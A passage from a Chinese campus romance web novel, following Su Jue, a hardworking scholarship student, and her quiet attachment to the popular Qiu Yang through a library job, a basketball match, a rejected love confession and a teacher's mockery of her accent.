杨恩兮有了男朋友之后，也没再怎么讨论邱扬，李子颖的朋友追不上邱扬，有人追她，她就放弃了继续追邱扬，邱扬的名字或许还活跃在别的女寝夜聊话题中，却渐渐淡出了我们寝室。
苏决的英语课和毛选课和邱扬选到了一起，连着两个星期，邱扬没来上课。
她和邱扬连普通朋友都算不上，他身边的朋友她也都不认识，就连问他去哪里了都没理由。
苏决有点后悔，或许她应该点开邱扬发的音频，他唱得怎么样，他跟那个男生一样，改词了吗？
苏决在图书馆有点心不在焉，翻开刚上新的杂志，竟发现里面有一篇军械论文第一作者是邱扬！
她以为看花了眼，揉了揉眼睛再看，确实是邱扬。
她翻到尾页，会作者简介写着：T大，邱扬。
T大只有一个邱扬。
苏决拿出手机，将论文拍了下来，洋洋洒洒的论文，上面有她十分陌生的图形和公式，此时变成了一个小方块，存在她的手机里。
管理员老师跟她说，这个月的月度工作之星又是她，和她一起在图书馆勤工俭学的还有七个学生，她已经连续三个月都是月度工作之星了，评上月度之星，每个月多三百块钱嘉奖。
为了做好这份工作，我看了好些相关档案和图书编码相关的书籍，将图书馆的编码规则烂熟于心。
她并没有过人的天赋，只有努力和勤奋，把一件事做好。
“谢谢老师。”
“应该的，你工作用心，老师都看在眼里，对了，校档案馆最近在整理文件，四个周末，要做事仔细的人去帮忙，你愿不愿意去？”
有工作我当然不会推脱：“我去。”
老师笑呵呵拍了拍她的肩膀，悄咪咪说：“一天有三百块钱，比这里一个小时十五块划算多了。”
她坦然接受老师的善意，四个周末，一个天三百，那就是两千四，她将近三个月的生活费就都有了着落。
班主任说得对，在大城市生活，只要肯付出，总是有回报的。
图书馆十点清场，十点半关灯，苏决结束了图书馆的工作，走出大厅路过优秀之星的专栏，她的照片还贴在上面，她忽然想起邱扬。
他知道她又得了月度工作之星，他路过这里的时候，也会驻足看一眼么。
这座城市沿海，已经深秋，风很大，苏决刚走出图书馆，风吹得她都睁不开眼，她裹紧外套，低着头走路，差点撞上了一个人，她含含糊糊地道了个歉之后绕开，那人又把她的路给堵上了。
她抬头，怔在原地，呆滞地看着来人。
是邱扬，那个她每天在心里念一万遍，嘴上却不敢吐出半个字的男生。
他笑盈盈地看着她，比太阳还耀眼。
5. 第 5 章
消失了半个月的邱扬，就这么站在她的面前。
苏决不知道要说什么才好，任风吹掉了冲锋衣的帽子，吹乱了额前刘海，吹乱发丝乱飞，任它们贴在脸上，缠在脖子上，飘在空中。
邱扬抬起双手绕到她耳后，揪起她的帽子脑袋上扣，再将她领口的拉链拉到顶，掌心扣着她的脑袋晃了晃。
他的动作很快，她反应过来她应该躲的时候，他已经松了手。
邱扬：“怎么？不认识了？”
她脑子飞快转着，想着怎么回答他的话，直接问他这么多天干嘛去了？不合适。
她怎么说都不合适，只好顺着他的话回答他：“认识，邱扬。”
邱扬似乎被逗乐了，偏过头短促地笑了声，她也知道这个回答很呆，但没有比这个回答更适合的了。
仔细想来，这还是她第一次叫出邱扬的名字。
邱扬故作恍然大悟地啧了声：“原来你还认识我啊。”
“图书馆关门了，你来这里做什么？”
邱扬又笑了下，侧了下身踢走脚边的碎石子：“是啊，我也不知道我来干什么，你说我来干什么。”
“拿杂志？”
邱扬眼皮一撩，拖腔带调回答：“对，拿杂志。”
“明天吧，马上熄灯了。”
她话音刚落，图书馆的灯熄灭了，周边只剩下昏黄的路灯亮着，一下就暗下来。
邱扬：“上次你不是答应过，杂志上新了主动给我发消息的？这半个月难道杂志都没上新吗？苏决同学？”
她有点心虚，不想让邱扬看出我百转千回的心思：“上新了三本，有两本上周被机械学院的老师借走了，杂志借阅时限是半个月，还有八天他才能还，今天刚上的这本还在馆里。”
邱扬：“记得那么清楚？”
她怔了怔，接过话说：“当然，这是我的工作。”
“嗯，对，怪不得是月度工作之星，哪一本书谁借了，借多久，都记得清清楚楚。”
苏决敏锐察觉到邱扬话里有话，生怕再多说什么，露出更多的心思，只好沉默往前走。
邱扬走在她身边，还好路上已经没人，这样她轻松不少，若被别人看到，“邱扬很晚了还和一个女生走在一起”将会变成女寝夜聊的话题。
她好不容易避开了所有人指指点点的眼光，不想再成为众矢之的。
走到岔路口，再往前就是宿舍区，人也越来越多了，往左走是男生寝室，往右走是男生寝室，苏决停下脚步，对邱扬摆了摆手：“我回去了，拜拜。”
说完转身就走，但书包却被他扯住了，她整个人被扯得往后倒，他往前一步，松了手，咚一声，她的书包砸在了他的胸口。
她的书包里放着《牛津字典》，这一下砸下去，他肯定疼了。
不过她也惊叹于邱扬的臂力，他刚才再拽下去，估计能直接把她给拽走了。
大家都传他单手投中三分球，看来是真的。
她连忙站稳，起身理了理书包后退一步对他说：“你不要这样。”
邱扬向前一步，稍稍低头往前凑，盯着她的眼睛看：“我怎么样？”
她下意识往后仰，看了眼他的胸口：“我书包里有牛津字典，你不痛么。”
邱扬愣了愣，接而笑得前仰后合，苏决跟只鹌鹑一样站在他身边，东张西望，生怕他的笑声引来别人注意，手足无措地整理被风吹乱的头发。
邱扬：“关心我？”
她躲开他的眼神，提了提书包带子：“我先回去了，你也早点回去吧，拜拜。”
邱扬：“等等。”
邱扬没再开玩笑，从衣兜里拿出一盒拳头那么大的东西递给她：“给。”
她摇了摇头：“我不要。”
邱扬没收回手，啧了声：“问都不问是什么，就不要啊。”
她摇头：“我不缺什么，谢谢。”
邱扬没了耐心，直接拆了盒子，将包装盒往垃圾桶一扔，再拽过她的手，直接把东西塞进她手里。
邱扬：“这段时间我去X市参加了个全封闭的保密工作，手机没收，那里陶土出名，我看到这个，感觉长得像你，顺手就买了，收了好吗？苏决同学？”
邱扬商量着跟别人说话的时候，像哄小孩，又像示弱，语气很轻，没人能拒绝他。
苏决低头看了眼，是个陶瓷手绘公仔，圆眼睛长睫毛鹅蛋脸黑长发，就连额前那几缕刘海都和她有几分神似。
邱扬：“是不是很像你？”
她点了点头。
邱扬绕着她走了一圈，开玩笑道：“哎？你还别说，画这个陶瓷的小哥是不是认识你？你要不要去问问他？”
邱扬开玩笑的时候，就爱说“你还别说”。
她扬了扬手中的公仔：“那谢谢。”
“有你这么谢人的嘛？板着个脸。”
他一边说一边学我的表情。
他学得不像，但很生动可爱，她不禁勾了勾唇。
邱扬抬手，拍了拍她的头顶：“你笑起来多好看啊，多笑笑，回去吧。”
苏决往寝室方向走，走到拐角一转头，邱扬还在原地，看着她的方向。
苏决捏紧手中的公仔，压抑着嘴角，往寝室小跑去。
刚进寝室，寝室就熄灯了，李子颖问：“你怎么这么久才回来？图书馆早就闭馆了呀。”
苏决说：“有点事耽误了。”
杨恩兮：“打电话也不接，以为你被哪个坏小子拐去了呢。”
这句话从杨恩兮的嘴里说出来，苏决不自觉有点心虚，她和邱扬一起长大，肯定很了解邱扬，她也很聪明，足够了解女生，苏决有一种直觉，第一个发现她那点心思的人是杨恩兮。
李子颖：“决决还是先好好学习吧，现在不是谈风花雪月的时候，现在的男的心思可多了，你可别被人骗了，咱呀，和兮兮可不一样，兮兮把他男朋友拿捏得死死的。”
关欣悦：“就是。”
杨恩兮半开玩笑说：“哎哎哎，话不要说得太满，人不可貌相，说不定苏决更能拿捏人呢。”
苏决趁她们不注意，把陶瓷公仔塞到了枕头底下，洗漱的时候心飘着，脚步像踩在云里。
但她没时间兴奋太久，她还要补作业。
人的精力是有限的，时间也是有限的，苏决把大多数的时间和精力用来谋生，还分一些精力放在关注邱扬身上，放在学习上的时间就少了，这直接体现在她的学习成绩上。
学期期中考试，她成绩虽然全都过关，但仍是班里倒数第一，和倒数第二还差了一大截，非常突出，特别是英语成
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绩。
苏决口试的成绩更不理想，英语老师在课堂上更是不客气地说：“同学们，外语最重要的就是会说，说得对，说得标准，说出来还带口音那可不行，有的同学如果跟不上班级的教学的速度，可以选择再降一级，毕竟每个省份英语考试难易程度不一样，有些地区山区就相对简单。”
学校英语是分级教学的，分三级和四级，根据学生的高考英语成绩来分，苏决高考英语147，自然分到了4级班级。
他说降一级的时候，眼神扫过她好几遍。
英语老师是本地人，年近半百，和普通中老年人一样，他说普通话时有口音，但说英文确是一口流利标准的美式英语，他上课最喜欢提问邱扬，每次都赞扬邱扬发音标准，词汇量丰富，像说母语一样流利。
每次上英语课时，苏决离他都很近，她听得很清楚，知道朱老师并没有夸张。
而这次，邱扬就坐在她左边，因为图书馆有点事没做完，她来得晚，整个教室只剩下邱扬身边一个位置。
苏决坐下来的时候，余光看到邱扬直了直背，转过头看了她。
他应该是想跟她说话，但她不知道跟他说什么，低头翻书包，装作没看见，等她拿出英语书，邱扬还是那个姿势。
苏决转过头看着他，他眼里竟带着笑，察觉到我的目光之后，他一怔，手挠了下头，很快大方地朝她笑了笑：“苏决同学。”
她点了下头算是回应，收回眼神盯着黑板，过了几秒，邱扬也没再说话，转过头看着黑板。
她的心脏已经快跳出了胸腔，但还是很自信邱扬看不出任何异样。
以前她醉酒的父亲对她拳打脚踢的时候，她的情绪越外露，她越表现出害怕或者紧张，他就会更变本加厉，所以她早就练就了表面宠辱不惊的本领。
但老师这么说，她还是很尴尬，尤其是在邱扬面前。
倒数第一是她，全班说英语还带着口音的也是她。
每个人都有骄傲，她的骄傲就是我的学习成绩，但此时却碎得体无完肤。
她假借托腮，用手挡住左耳和左脸，试图掩饰因为尴尬和窘迫而变得通红的耳廓。
此时，邱扬唰地拉开椅子站了起来。
英语老师收起苦口婆心语重心长的样子，变得和颜悦色，笑着看向邱扬，用英文问：“邱扬，有什么事？但我希望下次你先举手。”
所有人都看向邱扬，苏决也不由自主看向他。
邱扬没有用英文回答他，而是用带着本地口音的普通话说：“说国语都能有口音，为什么说外语不行？”
全班同学静默一瞬，接而哄堂大笑。
邱扬是本地人，但普通话说得字正腔圆，他故意这么说，是为了故意气老师。
英语老师虽然年过半百，但估计半生顺风水水，不能像她一样即使心里已经翻江倒海，但表面仍云淡风轻。
哄笑声中，邱扬转过头，垂眸看着她，朝她轻轻地挑了挑眉。
他一向谦逊礼貌，修养刻到了骨子里，很少这样唐突。
苏决觉得她应该躲开他的眼神，然后装作若无其事，但众目睽睽之下，她却任自己和邱扬对视，任由红透的耳廓见缝插针染红了脸颊。
她一向擅于掩饰，隐忍刻到了骨子里，也很少这样唐突。
6. 第 6 章
英语老师在课堂上这么说，苏决除了难堪和窘迫之外，还有警觉。
她的人生破破烂烂，唯一拿得出手的就是学习成绩，国家奖学金和国家励志奖学金对她来说很重要，她再这么下去，就会和奖学金失之交臂。
若是把学习搞砸了，那更得不偿失。
苏决去ATM查了下银行卡的余额，去档案馆整理档案的钱发了下来，还多给了200，加上之前兼职所得，她银行卡里有6000块钱，足够撑到寒假，她决定辞掉在食堂洗碗的工作，这样每天就多两个小时的学习时间。
功课落下了再补回来很吃力，苏决在走路的时候都在背单词，室友一开始抱怨她太卷，后来听说了英语老师在课堂上说的那些话，义愤填膺地骂老师说的不是人话，是个坏人，让她别往心里去，让她好好学，期末打脸老师。
苏决比谁都清楚真正的坏人什么样，英语老师并不是坏人，他只是说了实话而已。
邱扬每天都给她发一个英语小视频，是国外著名大学的英语教学体系，听外国人讲他们本土的文化和语言，深入浅出，比国内老师讲得更生动有趣。
在苏决努力卷学习的时候，学校正在举行两年一度的TBA，即T大篮球比赛。
这个比赛的冠军都是土木学院蝉联。
除了苏决，寝室其他人都在讨论这个比赛，第一轮循环比赛，外国语学院就碰上了土木学院。
李子颖：“土木那帮牲口，以后要下工地扛钢筋，贼生猛，我们学院阴盛阳衰，估计上去就当炮灰，没戏。”
关欣悦：“他们还在论坛上放话，说要横扫外国语学院男生，收复外国语学院女生，口气真不小。”
杨恩兮：“那不一定，我知道的，我们这届就有几个打得厉害的，邱扬他们以前跟省队比过，分差不了多少。”
苏决正在默读单词，听到邱扬的名字，下意识顿了顿。
邱扬的名字已经好久没出现在她们的寝室夜聊中。
关欣悦：“据说邱扬最近带着几个男生在练，是真的吗？”
杨恩兮：“想知道去篮球场看就知道了，周天最近一直在练。”
周天是杨恩兮男朋友的名字，下了课就往篮球场跑，连杨恩兮都顾不上了，两人正在闹别扭呢。
这是邱扬发信息跟她说的，他说周天现在天天被杨恩兮架在火上烤，准备外酥里嫩了。
他每次去球场前都会拍张篮球场的照片发给她，顺带调侃一下她。
【苏同学，来看我打球不啊，打得真不差，来看看呗】
【土木那帮莽夫，居然说要收割我们学院的全部的女生，你说我能同意么？】
苏决发了个奋笔疾书的表情包，又发了个加油的表情包，而邱扬则会回一个大哭的表情包给她。
这时，她的手机又亮了一下，是邱扬给我发的消息。
【明天我打球，来看好吗？】
看着这个问号，苏决能想得出邱扬此时的神情，稍稍弯腰，低下头，轻声细语地语气，像请求，亦像示弱。
苏决回：【好的。】
想想太正式，又删掉了。
【好。】
又删了。
她还没组织好语言，邱扬的信息先钻了进来。
【苏同学是在组织什么鼓励我的话吗？输入半天连个标点符号都没发过来。】
苏决没想到邱扬一直盯着屏幕等着她的消息，她没再反反复复斟酌，打了个“好的”就发了过去。
【这次“好的”没有句号。】
苏决翘了翘嘴角，句号太冰冷，太果断，没有空间。
她没再回邱扬的信息，许久之后，邱扬给我回消息了。
【晚安】
李子颖噗嗤笑出声：“说到邱扬，我想起了个事，听说李萌晓没追上邱扬，气得质问他是不是GAY，兮兮，这事儿是真的假的？”
关欣悦喜欢看美女多过看帅哥：“李萌晓的身材真的太辣了，而且超会化妆，没想到性格也辣，居然有男生能扛得住她诱惑，邱扬会不会真的是弯的啊。”
苏决没心思背单词了，竖起耳朵听杨恩兮的回话。
杨恩兮嗤了声：“你以为男人是什么东西？得到了就不珍惜的品种罢了，主动往上凑的更不稀罕了，喜欢那种看着有难度的，追不到的，有征服欲。”
杨恩兮最近在和男朋友吵架，苏决分不清楚杨恩兮这是带着情绪的气话，还是所有的男生都是这样。
李子颖：“这天底下还有邱扬追不到的女生吗？”
苏决在心里默默回答：没有，没有人能够拒绝邱扬。
杨恩兮懒洋洋回答：“有啊。”
关欣悦：“谁啊？”
李子颖的八卦神经触动了：“难道邱扬有一个爱而不得的白月光？快说快说，我爱听，越狗血我越爱。”
杨恩兮：“他要是有白月光，我能不知道？他那种人，有点好的东西巴不得跟全世界显摆，不说能憋死他，在他的世界观里，他的就是最好的。”
李子颖：“哇，那么他追不上的那个女生是谁啊？是我们学校的吗？”
杨恩兮开玩笑道：“说不定远在天边近在眼前，就是你哦，小颖宝。”
杨恩兮说完，三人哈哈大笑。
李子颖演上了瘾，捂着心脏：“快，快，拿老奴的速效救心丸来。”
杨恩兮继续开玩笑：“也说不定是你哦，小欣欣。”
关欣悦摆摆手：“我喜欢当磕学家，我比较喜欢嗑他和赵萌晓。”
苏决躺在床上，有点紧张，手揪着被子，她很怕杨恩兮把玩笑开到她的身上，那样的话她不知道怎么开脱，因为自己的小心思，她或许会支支吾吾，更会显得窘态摆出。
她挺感谢这个帷幔，让她很有安全感，没人知道她现在浑身僵硬。
但杨恩兮没继续说下去，打了个哈欠翻了个身说：“睡了，困死了！”
苏决松开揪着被子的手，松了口气。
隔日就是外国语学院对抗土木工程学院的日子，邱扬已经换好了篮球服，在场边做热身运动，球场周围挤满了人，苏决个字不高，也来得晚，只能站在人群后，她看到邱扬，他看不到她。
这样的感觉让她很有安全感，她可以肆无忌惮地看他，不用掩饰自己的小心思，也不用担心别人发现。
她站在离他不远处，听到他正在和队友讨论战术，时不时回过头扫一眼人群，看着有点心不在焉。
周天啧了声：“队长你找哪个大美女呢，东张西望的。”
邱扬笑着虚虚踢了下他：“你大爷。”
周天：“专心点行不行，人家土木系的扬言要收割我们系女生，我女朋友可不能被人割走了。”
邱扬：“行行行。”
邱扬嘴上说行，才讨论一会儿又开始东张西望。
在苏决肆无忌惮地看着邱扬的时候，杨恩兮来到了她的身边，我连忙收回眼神，若无其事笑笑。
杨恩兮抓着她的胳膊：“你怎么站这儿，我们班人都在前
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面呢，站前面去。”
说着就拽着她的胳膊往前挤，才站定，杨恩兮冲着邱扬喊：“哎，班长，我们班人来齐了啊。”
邱扬回过头，眼神落在我身上，朝我点了下头后，神采奕奕地朝杨恩兮比了个OK。
杨恩兮翻了个白眼，嗤了声。
一直到上场前，邱扬没再东张西望，专心和队友讨论战术。
一开始土木系打得志在必得，直到上半场结束后，他们落后十二分，他们才知道小瞧了对手。
当然也看出来了谁是控场王，谁是主心骨。
邱扬得分并不是最多，但他控得最好，知道什么样的球传给什么样的人，所以下半场一开始，土木系就安排两个壮汉专门盯着邱扬，甚至出阴招损招，邱扬几乎碰不到球，还摔倒好几次。
系里的啦啦队喝倒彩，裁判警告，他们仍无动于衷，甚至变本加厉，脏球层出不穷。
不仅赛场上进入了白热化，赛场下的啦啦队也相互较劲。
苏决不理解竞技精神，也不知道集体荣誉感，她只想让比赛快点结束，或让邱扬快点下场，他已经摔了五次了。
但比赛并不由她的意志左右，两队分数你追我赶，不分上下，邱扬越打越卖力，摔的次数也越来越多。
比赛快结束了，外语系落后两分，这时候队友把球传给了邱扬。
邱扬连续的假动作杀出重围，朝篮筐奔去。身边男生和女生的呐喊声都快冲破我的耳膜，邱扬准备投篮，对手从旁边朝他冲了过去。
苏决记得这个人，他撞邱扬的次数最多，她的心已经提到了嗓子眼。
可老天有眼，邱扬跑到了三分线，单手将球抛出去时，那个男生脚底一滑，整个人笔挺挺地往后倒。
邱扬回过头，嘴上喊着小心，身子已经扑了过去。
苏决眯了眯眼，缓解一下眼压升高带来的不适感。
他手臂一伸，对手的后脑勺正好砸在了他的小臂上。
与此同时，唰一声，球投进了篮网里。
三分球，外语系赢了土木系，球场上一阵欢呼。
队友将两人拉了起来，那个老撞邱扬的人连连道歉，接而连连道谢。
“啊啊啊啊太帅了，太牛了，投了个三分球，还救了个人，就问你们服不服！”
“外语系牛逼！”
唏嘘声，欢呼声响彻整个球场，而苏决如释重负。
所有人以为整个晚上最热烈的气氛已经过去时，一个女孩捧着一大束玫瑰花上了场，径直走到邱扬面前。
女孩长发披肩，穿着黑色紧身连衣长裙，将玲珑有致又曼妙修长的身材展现得淋漓尽致，艳红色的嘴唇和胸前红艳艳的玫瑰花相映衬，头发一撩，水蛇腰一扭，没人能够移开眼，像一只能摄人魂魄的妖。
漂亮，自信，大方。
身边的关欣悦已经激动不已：“哇塞，赵萌晓哎！大美女！太好看了，呜呜呜。”
她走到邱扬面前停下来，他身边的队友起哄着散开，他俩现在球场的边缘，此时却像是站在了世界的中心。
苏决无法形容我现在的心情，只知道并不是每个人的生活都是昏暗晦涩的，世界上真的有人像她所向往的那样美好而热烈地活着，敢爱敢恨，自由自在。
他们是人群的焦点，是所有人都羡慕的对象，他们被很好的人爱着，还能得到很多人的祝福。
这样的人包括邱扬，太好了。
赵萌晓说：“邱扬，我喜欢你，你愿不愿意做我男朋友？”
7. 第 7 章
邱扬向前一步，以一种保护的姿势将赵萌晓挡在了身后。
他把赵萌晓挡得严严实实，只露出那一大束玫瑰花的边。
有人起哄，还有人窃窃私语。
“哇塞，这个男友力爆表啊。”
“谁能在这种情况下把我挡在身后，我直接跟他走。”
苏决咬紧牙关，尽量让自己呼吸均匀。
邱扬似乎见惯了这样的场面，很平静，笑着说：“大伙怎么回事，怎么都看我的热闹来了，为了把球打漂亮，十几个兄弟们都拼命跑一个多小时了，都没个送水的啊，一会儿我回寝室该被群殴了啊。”
大家哄堂大笑。
邱扬朝杨恩兮扬了扬手：“哎，杨恩兮，你家周天今晚是得分王，17个球，34分，不夸夸？”
话音一落，一部分男生的关注点移到篮球上，一小半八卦的注意力不知不觉被杨恩兮和周天分了去。
杨恩兮翻了个白眼，小声嘀咕：“老套路，又拿老娘挡枪。”
说着，拿着一瓶水送给场上的周天。
身边人一阵欢呼。
邱扬：“今天这场球我们会在学校论坛进行一个详细的复盘，到时候欢迎大家一起来讨论，也欢迎懂球的、球打得好的同学加入我们篮球社，在T大自己人比没意思，我们的目标是全国冠军，好不好？”
赛场上的余热还没散，这话一出，男生们的注意力已经不在八卦上了，关注点又回到了篮球上，征服赛场的斗志燃了起来。
有些人天生有号召力，就像邱扬。
他扬在球场上控场，在场下也能处理得妥当。
邱扬：“都散了吧，早点回去休息吧。”
其他队员：“散了，散了，回去了，累死了。”
没热闹可看，三三两两的人也离开了。
杨恩兮要等周天，苏决想赶紧回去，问李子颖和关欣悦，两人的脚跟长了钉子一样，非得说要看完整个八卦。
“看电视剧不看最后一集，像话吗。”
球场上剩下零星几群人，见他们没有走的意思，苏决轻声说：“那我先回去啦。”
她不想面对。
苏决刚转身，邱扬叫住她：“苏决同学。”
她停下脚步，回过头。
邱扬：“记分牌是咱们班的，那边还有一些零食也是咱们班买的，你帮我收拾一下，谢谢。”
说完他便转过身和别人聊天，没给她拒绝的机会。
她很想离开，不想面对，但又想看结局，自虐一般在伤口上撒盐。
人走得差不多，邱扬这才转过身，面对捧着一大束玫瑰的赵萌晓。
赵萌晓：“终于搭理我了？”
邱扬扶额笑笑：“赵同学，你真是给我出了个大难题。”
赵萌晓抱着玫瑰仰着下巴：“那你答应不就完了吗？”
邱扬神情认真：“对不起啊，赵同学，我有喜欢的女孩儿了。”
苏决在不远处收拾东西，他们举动看得一清二楚，他们的对话听得一清二楚，其实她的心里很平静，邱扬有喜欢的女孩儿太正常不过了，这个年纪的男女，喜欢上别人是天性。
就像她，从小到大已经被折磨得麻木不仁，现在每天忙碌着生存，忙着学习，都情不自禁喜欢别人。
人会被优秀美好的东西吸引，也会被自己没有的东西深深吸引，天性罢了。
赵萌晓耸了耸肩问：“真的？”
邱扬转了下眸，看向提着零食袋安静站在场边的人，接而又收回眼神：“这么大的事儿能开玩笑啊？”
赵萌晓把玫瑰花塞进他的怀里：“那给你了，你送给她吧。”
她说完，转过身，扭着腰潇洒地走开了。
苏决看着赵萌晓的背影，羡慕她的干净利落。
最后球场上只剩下她们寝室四个和他们寝室四个人，赵恩兮生日会的时候两个寝室联谊了一次，大家都熟悉了一些。
他们似乎都习惯了苏决的沉默，也没对她过多的关注，也不会为了拉进关系刻意和她开玩笑，其实和他们相处，她心里还是轻松的。
邱扬把玫瑰花塞进了周天的怀里，周天猝不及防捧了个满怀。
周天：“卧槽，给我做什么。”
邱扬：“这儿就你一个有对象，不给你给谁？”
周天嘴角都咧到了后耳根，脚虚虚踹了下邱扬，邱扬笑着躲开了，绕到苏决身边，将我手里的东西接了过去，站在我身边。
周天把玫瑰塞了回来：“滚一边去，我家兮兮不稀罕这二手玫瑰。”
邱扬站得离苏决很近，花束很大，包花的彩纸蹭到了她的衣袖，她闻到了浓郁的玫瑰花香，不禁转头看了一眼。
本来想看花的，却看到了邱扬手肘蹭破了很大一块皮，血已经凝固了，成了几道黑色的血痕。
邱扬的声音从头顶响起：“喜欢啊。”
苏决抬眼看他，他以为她在看花，就点了点头：“挺漂亮的。”
杨恩兮朝邱扬扬了下头：“那你把花送她得了呗，那谁不是说要你……”
邱扬打断她，走过去就要把玫瑰花塞她怀里：“给你给你，看你稀罕得不行。”
周天拽开邱扬，笑骂：“干啥呢，当我死了吗？”
几个人嘻嘻哈哈一阵，管球场的老师催人离场了。
风云人物的八卦向来比流感传播得还快，球场上青春的荷尔蒙散尽，学校论坛就开始传各种各样的版本，有说邱扬和赵萌晓在一起了，因为有人看到邱扬把花抱回了宿舍，也有人说邱扬拒绝了赵萌晓，花送给舍管老师了。
一个八卦帖，没几分钟就盖了几百楼。
有人赞赵萌晓的勇敢，作为经管系的系花，拉得下脸豁得出去，敢爱敢恨，有人
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赞邱扬强大的控场能力，是个天生的领导者，无论是什么样的事都处理得很漂亮。
关欣悦和李子颖在刷论坛吃瓜，杨恩兮在敷面膜刷手机，苏决捧着书在背单词，今晚为了去看球赛，和另一个同学换了图书馆的班，明天我要在图书馆从五点半值班到十半，明天最晚的课要上到五点，她连吃饭的时间都没有，更没时间写作业了。
所以，也没时间吃瓜。
苏决手机嗡地一声，邱扬给她发了张图片，是他手肘受伤的那个地方。
【苏决同学，好疼啊】
刚才在球场上我看到这个伤口的时候血已经凝固了，现在却红肿一片，甚至开始有血水冒出来。
苏决回他：【不能碰水。】
她打完之后，想了下，把句号给删了，再发过去。
【刚才没觉得疼，刚才还忒使劲搓澡】接着是一个大哭的表情。
苏决包里有药，前几天特意买的，对于这种伤口，没人比她更了解什么样的药便宜有有效。
苏决回他：【你去买这个药擦】
她从枕头底下摸出药膏，拍了个照片给他发了过去。
把这个药膏藏在枕头底下，随用随有，让她很有安全感。
他回：【很晚了，药店都关门了】
苏决当然知道现在药店关门了。
她没回他的消息，安静等他回复，看着对话框的“对方正在输入”明了又灭。
半晌后，邱扬的信息来了。
【好疼，忍不了，我现在去你宿舍楼下，你把药给我送下来，好吗？】
苏决勾了勾嘴角，舒了口气，回了个“好”。
这药本就是给他买的，她正好不知道用什么理由送出去。
等到邱扬到楼下，她拿着装着药的塑料袋放在兜里下楼。
邱扬在宿舍外面等，一只手背在身后。
她走过去，把装药的塑料袋递给他，他接过，拿出背在身后的手，手里有一朵粉色小花，他把花递给她。
她手指下意识曲了曲，没接过。
邱扬：“那束花我给了社管老师，这是社管老师花瓶里的，给你。”
苏决摇了摇头：“我不喜欢花，要熄灯了，我先上去了。”
她说完，转身就走，身后传来邱扬的脚步声，三两步之后，他停了下来。
邱扬：“那你告诉我，你为什么会有这个药？”
苏决停下脚步，回过头，平淡对他说：“我常用。”
“但这个是新的。”
“买一送一。”
苏决说完，朝他点了下头，转身上楼。
邱扬的眼神很干净，像清泉，怎么折腾都是干净清爽的，而她在泥潭里扎着，再怎么小心翼翼，只要一动，就会拖着泥带着水，一身污浊。
原来心痛的滋味，和身体挨棍棒打挨鞭子抽一样难捱。
8. 第 8 章
这晚苏决彻夜失眠。
无论被爸爸打得多狠，她总能睡着，睡着了旧伤不痒，新伤不疼，休息好了伤才好得快。
她妈妈忍受不了一个暴戾的男人，逃出大山打工去了，一年之后把她抱了回来，扔在大山里之后又跑了，奶奶有点恻隐之心，但那点恻隐之心只够她活着，不够让我不挨打。
人会很轻易喜欢上两样东西，一种是优秀的、美好的，另一种是自己没有的或者没见过的。
前一种是本能，后一种是好奇，好奇产生兴趣，兴趣产生喜欢，但后者经不起时间的考验，时间久了，没新意了，厌烦了，喜欢就会消失，丑陋就会被放大。
对于苏决来说，这两样东西邱扬都有，而对邱扬来说，她有后者。
这段时间过来，苏决觉得自己是一个神经病。她一边想做美梦，一边想保持理智清醒，很割裂，她也不知道以后她会不会疯掉。
学校论坛里讨论赵萌晓和邱扬的帖子一直飘在首页，直到赵萌晓顶着真名在论坛里回复——
【没在一起，邱扬有喜欢的女孩子，都好好学习去，散了。】
T大是名校，这里的学生分得清主次，不会花很多的时间在吃瓜上，他们有更重要的事，比如好好学习，比如提升自己。
很快，八卦贴就沉了底，邱扬发的篮球复盘帖被顶了上来，而长期飘在论坛首页，每个人都在认认真真分析，真的为冲全国冠军做准备。
自此以后，以土木系为代表主张流氓脏球打法的队伍，打球也不脏了，遇到冲突也能先心平气和谈一谈。
大家都知道，这是邱扬扑那么一下，伸手给老打脏球撞他的对手当人肉垫带来的良性结果。
而学校官网上的大学生天地板块发了一则消息，祝贺邱扬同学的专利被某军工设计院采用，祝贺邱扬同学的论文在国家某前沿国防科技杂志发表。
关于邱扬的八卦很快被他的光芒严严实实地盖过。
邱扬很忙，苏决也很忙，他俩在不同的赛道各自忙碌，默契地对那只粉色的格桑花只字不提，只是若有似无的尴尬横亘在中间，忙的时候还好，闲暇时总会有点别扭。
特别是从别人的嘴里听到邱扬的信息时，她总是情不自禁叹息。
邱扬是个骄傲的人，他有自尊心，他不会再主动给苏决发消息，这正和她意。
杂志上新，苏决跟老师说帮我留一天，如果一天同学没来要，就不留了，她没再在阅览室等邱扬。
她也不知道邱扬后来去看了没有，也没去问。
她和邱扬的英语课重合，自从上次邱扬公然在课堂上反驳英语老师之后，英语老师不再在课堂上提问他，而是将矛头转向了她。
苏决的口语发音很奇怪，老师一遍遍纠正她的口音，一两次的同学还很礼貌憋着不笑，但次数多了总归会有人忍不住，最后哄堂大笑。
老师也不制止，在笑声总一遍一遍纠正她的口音，苏决不觉得难堪，若这点都难堪，之前全班同学都骂我野孩子的时候，她早就该去死了。
老师一遍一遍纠正，她也一遍一遍跟着念。
哄笑声不断，后排传来“砰”地一声摔书声，邱扬的声音传来：“安静，课堂纪律！”
哄笑声戛然而止。
最后，老师无奈让她坐下，用英语说：“你还要努力十年。”
下了英语课是二十分钟的大课间，我下节课正好没有课，就跟着英语老师到了他办公室。
英语老师坐下来，翘着二郎腿抬头问：“同学你跟着我做什么？”
苏决摊开英语课本指着他在课堂上纠正我的英语单词：“老师，您再教教我。”
他有点不耐烦：“你按课堂上教的再回去练练。”
苏决沉默了一会儿，吸了一口气，大声在办公室念出那个单词。
老师挠头：“唉你这个同学怎么回事？”
她看着老师说：“老师，课上您只是告诉我怎么发音，没告诉我我哪个音发得不对，我没法改。”
老师张了张嘴，最终什么都没说，放下二郎腿，接过英语课本，很认真地教。
时间过去十分钟，付出总算有回报，老师脸上总算有了笑容，苏决也松了一口气。
老师看了看表，笑道：“同学，我下节课还有课，你能不能让我休息十分钟？”
她合上英语书，后退一步，抱着英语书，朝他深深鞠了个躬。
英语老师怔了怔，从座位上缓缓站起来，嘴巴张了张，看着我没说话。
“谢谢您。”
他笑着朝她点了点头。
拿到T大录取通知书的那天，我去了一趟班主任家里。
班主任跟她说：“T大是名校，大部分人都考不上，里面的学生都是天子骄子，可想而知里面的老师有多厉害，他们是学者，是教授，他们是外界普通人接触不到的一类人，但是，没有一个老师不喜欢努力的学生，你要跟他们好好学习，一定不要忘记好好学习。”
她的人生破破烂烂，班主任缝缝补补，终于在泥泞中迎来为数不多的机会。
她走出办公室，碰到了在走廊栏杆上倚着的邱扬，他眉眼含笑，大大方方地看着我。
她朝他点了点头，抬腿要走。
他喊住她：“哎，等我一下。”
说完，就敲了敲办公室的门，得到回应后走了进去。
